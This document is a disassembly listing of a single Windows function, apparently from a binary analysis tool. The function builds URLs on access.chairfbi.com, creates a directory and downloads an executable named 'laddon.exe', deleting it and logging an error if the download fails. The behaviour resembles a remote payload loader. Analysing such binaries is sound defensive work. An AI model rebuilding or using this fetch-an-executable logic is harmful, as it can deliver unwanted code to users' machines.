Function at 0x140050690
Capabilities:
Create directory
Delete file

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0x100
mov rdi, rcx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rbp + 0x6f], rax
lea rcx, [rbp + 0x6f]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
call fcn.140050c30
mov rbx, rax
xor r14d, r14d
mov qword [rsp + 0x40], r14
mov qword [rbp - 0x79], r14
mov qword [rbp - 0x71], 0xf
mov byte [rsp + 0x40], r14b
lea ecx, [r14 + 0x30]
call fcn.14008bc08
mov rdx, rax
mov qword [rbp - 0x79], 0x2f
mov qword [rbp - 0x71], 0x2f
movups xmm0, xmmword [str.https:__access.chairfbi.com_loader_version_NoUi]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400d7660]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1400d7670]
movsd qword [rax + 0x20], xmm0
mov ecx, dword [0x1400d7678]
mov dword [rax + 0x28], ecx
movzx ecx, word [0x1400d767c]
mov word [rax + 0x2c], cx
movzx eax, byte [0x1400d767e]
mov byte [rdx + 0x2e], al
mov byte [rdx + 0x2f], r14b
mov qword [rsp + 0x40], rdx
lea rdx, [0x1404e6178]
cmp qword [0x1404e6190], 0x10
cmovae rdx, qword [0x1404e6178]
mov r8, qword [0x1404e6188]
lea rcx, [rsp + 0x40]
call fcn.140054030
mov qword [rbp - 0x29], r14
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x29], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x19], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea r8, [rbp - 0x29]
lea rdx, [rbp - 9]
mov rcx, rbx
call fcn.140074780
nop
mov rdx, qword [rbp - 0x71]
cmp rdx, 0x10
jb 0x1400507e4
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400507df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400507df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008bc44
mov qword [rbp - 0x79], r14
mov qword [rbp - 0x71], 0xf
mov byte [rsp + 0x40], 0
lea rcx, [rbp - 0x69]
call fcn.1400049e0
cmp qword [rax + 0x18], 0x10
jb 0x140050808
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
mov rdx, qword [rbp - 0x51]
cmp rdx, 0x10
jb 0x14005084f
inc rdx
mov rcx, qword [rbp - 0x69]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005084a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005084a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008bc44
lea rsi, [rbp - 9]
cmp qword [rbp + 0xf], 0x10
cmovae rsi, qword [rbp - 9]
lea rcx, [rbp - 0x69]
call fcn.1400049e0
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140050873
mov rbx, qword [rax]
mov qword [rbp + 0x17], r14
mov qword [rbp + 0x27], r14
mov qword [rbp + 0x2f], 0xf
mov r8d, 0x10
lea rdx, str._s_s_laddon.exe
lea rcx, [rbp + 0x17]
call fcn.140005620
mov r9, rsi
mov r8, rbx
lea rdx, [rbp + 0x17]
lea rcx, [rbp - 0x49]
call fcn.1400540e0
nop
mov rdx, qword [rbp - 0x51]
cmp rdx, 0x10
jb 0x1400508eb
inc rdx
mov rcx, qword [rbp - 0x69]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400508e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400508e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008bc44
mov qword [rbp - 0x59], r14
mov qword [rbp - 0x51], 0xf
mov byte [rbp - 0x69], 0
lea r8, [rbp - 9]
cmp qword [rbp + 0xf], 0x10
cmovae r8, qword [rbp - 9]
mov qword [rbp - 0x71], 0xf
mov qword [rbp - 0x79], 0xd
movsd xmm0, qword [str._s_laddon.exe]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x1400d76a0]
mov dword [rsp + 0x48], eax
movzx eax, byte [0x1400d76a4]
mov byte [rbp - 0x7d], al
mov byte [rbp - 0x7c], 0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x29]
call fcn.1400540e0
mov rcx, rax
call fcn.14004ffc0
lea rcx, [rbp - 0x49]
call fcn.140004950
test al, al
jne 0x140050abd
call fcn.140050c30
mov rbx, rax
mov rdx, qword [0x1404e6188]
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, 0x2b
jb 0x140050b07
lea rax, [0x1404e6178]
cmp qword [0x1404e6190], 0x10
cmovae rax, qword [0x1404e6178]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x2b
lea r9, str.https:__access.chairfbi.com_loader_url_NoUi
lea r8, [0x1404e6178]
movzx edx, byte [rbp + 0x6f]
lea rcx, [rsp + 0x40]
call fcn.140009010
lea r8, [rsp + 0x40]
lea rdx, [rbp - 0x29]
mov rcx, rbx
call fcn.140074780
nop
call fcn.140050c30
mov rbx, rax
lea rax, [rbp - 0x69]
mov qword [rbp + 0x77], rax
lea rdx, [rbp - 0x49]
cmp qword [rbp - 0x31], 0x10
cmovae rdx, qword [rbp - 0x49]
mov qword [rbp - 0x69], r14
mov qword [rbp - 0x59], r14
mov qword [rbp - 0x51], 0xf
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140050a20
lea rcx, [rbp - 0x69]
call fcn.140005620
nop
lea rdx, [rbp - 0x29]
lea rcx, [rbp + 0x17]
call fcn.1400033b0
nop
lea r8, [rbp - 0x69]
mov rdx, rax
mov rcx, rbx
call fcn.140074070
test al, al
jne 0x140050ab4
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x49]
cmp qword [rbp - 0x31], 0x10
cmovae rcx, qword [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.Failed_to_download_loader_addon
call fcn.1400088e0
mov qword [rdi], r14
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov qword [rdi + 0x10], r14
mov byte [rdi], 0
lea rcx, [rbp - 0x29]
call fcn.140003940
nop
lea rcx, [rbp - 0x49]
call fcn.140003940
nop
lea rcx, [rbp - 9]
call fcn.140003940
jmp 0x140050af6
lea rcx, [rbp - 0x29]
call fcn.140003940
movups xmm0, xmmword [rbp - 0x49]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rbp - 0x39]
movups xmmword [rdi + 0x10], xmm1
mov qword [rbp - 0x39], r14
mov qword [rbp - 0x31], 0xf
mov byte [rbp - 0x49], 0
mov r8, qword [rbp + 0xf]
cmp r8, 0x10
jb 0x140050af6
inc r8
mov rdx, qword [rbp - 9]
lea rcx, [rbp - 9]
call fcn.1400059f0
mov rax, rdi
add rsp, 0x100
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1400054f0
nop
int3